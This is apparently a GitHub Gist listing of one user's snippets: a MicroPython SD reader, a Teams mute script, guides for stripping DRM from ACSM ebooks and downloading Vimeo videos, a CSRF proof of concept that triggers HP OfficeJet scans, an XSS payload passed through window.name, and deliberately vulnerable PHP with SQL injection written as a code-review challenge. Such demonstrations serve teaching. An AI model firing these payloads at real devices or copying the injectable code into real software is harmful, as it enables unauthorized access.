Skip to content

Instantly share code, notes, and snippets.

@nv1t
nv1t / read.spi.py
Last active April 13, 2024 23:18
read SD Card over SPI with Micropython. i run it with adafruit-ampy. maybe you need to place the sdcard module on the pico.
import machine
import os
import sdcard
import uos
import sys
import ubinascii
# Setup SPI bus
spi = machine.SPI(0, sck=machine.Pin(2), mosi=machine.Pin(3), miso=machine.Pin(4))
@nv1t
nv1t / aggregate.py
Last active March 12, 2024 06:33
Walking Pad Logger
import csv
import sys
import os
from datetime import datetime
def convert_seconds_to_hms(seconds):
"""Converts seconds to hours, minutes, and seconds format."""
hours = int(seconds // 3600)
minutes = int((seconds % 3600) // 60)
seconds = int(seconds % 60)
@nv1t
nv1t / ascm.to.epub.md
Last active March 20, 2024 02:08
Convert ACSM files to DRM-free EPUB files with one command on Linux

(Source: https://pythonrepo.com/repo/BentonEdmondson-knock-python-command-line-tools)

This software does not utilize Adobe Digital Editions nor Wine. It is completely free and open-source software written natively for Linux.

For NixOS User

  1. Create a free Adobe account here if you do not already have one.
  2. Install the software. For NixOS, include this flake in your system flake.nix. Then run knock ~/path/to/my-book.acsm to use.
inputs.knock.url = github:BentonEdmondson/knock
@nv1t
nv1t / vimeo-vod.md
Created September 16, 2021 11:07 — forked from mmathys/vimeo-vod.md
Download Vimeo VOD (video on demand)

How to download vimeo VOD for offline usage

Variant 1

Use youtube-dl directly to download the video (thanks @meepybub!) Example:

youtube-dl -u <youremailaddress@example.com> "https://vimeo.com/ondemand/<video>"
@nv1t
nv1t / muteTeams.sh
Created April 9, 2021 08:27
it uses xdotool to activate the Teams window and mute/toggle the microphone. It puts the mouse back to the position.
function mute() {
eval $(xdotool getmouselocation --shell)
pids=$(xdotool search --name "Microsoft Teams" | sort | uniq | head -n 1)
xdotool windowactivate $pids
xdotool key "ctrl+shift+m"
xdotool mousemove --sync $(( 0.1+$X )) $(( 0.1 + $Y ));
}
@nv1t
nv1t / 81-thinkpad-dock.rules
Created February 27, 2021 18:29 — forked from seanf/81-thinkpad-dock.rules
Example ThinkPad docking script for multi-monitor
# Save this file (after modifying ID_VENDOR and ID_MODEL if necessary) as /etc/udev/rules.d/81-thinkpad-dock.rules
# These values seem to work for "ThinkPad Mini Dock Plus Series 3"
SUBSYSTEM=="usb", ACTION=="add|remove", ENV{ID_VENDOR}=="17ef", ENV{ID_MODEL}=="100a", RUN+="/etc/sbin/thinkpad-dock.sh"
@nv1t
nv1t / HP OfficeJet 6830 CSRF.html
Last active December 26, 2020 14:45
This triggers a scan for a HP OfficeJet 6830 Multidevice. It may work with other Scanner/Printer as well. It only has been tested with this model.
<FORM NAME="buy" ENCTYPE="text/plain"
action="http://$IP:8080/Scan/Jobs" METHOD="POST">
<input type="hidden" name='<?xml version'
value='"1.0" encoding="UTF-8"?><ScanSettings xmlns="http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.hp.com/schemas/imaging/con/cnx/scan/2008/08/19 Scan Schema - 0.26.xsd"><XResolution>200</XResolution><YResolution>200</YResolution><XStart>0</XStart><YStart>0</YStart><Width>2550</Width><Height>3300</Height><Format>Jpeg</Format><CompressionQFactor>0</CompressionQFactor><ColorSpace>Color</ColorSpace><BitDepth>8</BitDepth><InputSource>Platen</InputSource><GrayRendering>NTSC</GrayRendering><ToneMap><Gamma>1000</Gamma><Brightness>1000</Brightness><Contrast>1000</Contrast><Highlite>179</Highlite><Shadow>25</Shadow><Threshold>0</Threshold></ToneMap><SharpeningLevel>128</SharpeningLevel><NoiseRemoval>0</NoiseRemoval><ContentType>Document</ContentType></ScanSettings>'>
</FORM>
<script>document.buy
@nv1t
nv1t / trigger.html
Created December 7, 2020 09:04
Executes an XSS based on window.name as global variable existing between states
Setting "window.name = '&lt;img src=0 onerror=alert(1)&gt;' and redirecting to XSS Page (xss.html) in 5 seconds
<script>
window.name = "<img src=0 onerror=alert(1)>";
setTimeout(function() {
window.location = "xss.html"
},5000);
</script>

Keybase proof

I hereby claim:

  • I am nv1t on github.
  • I am nv1t (https://keybase.io/nv1t) on keybase.
  • I have a public key whose fingerprint is 7447 AD80 557C 5B6B 20E2 83E9 8F59 D42B C7A5 0438

To claim this, I am signing this object:

@nv1t
nv1t / vulnerable.php
Last active October 8, 2020 10:03
A Basic Code Review Challenge: How many vulnerabilities are you able to spot.
<?php
session_start();
extract($_GET);
$pdo = new PDO('mysql:host=localhost;dbname=test', 'root', 'toor');
if($action == 'login2') {
$statement = $pdo->prepare("SELECT * FROM users WHERE email = '".$email."'");
$result = $statement->execute();
$user = $statement->fetch();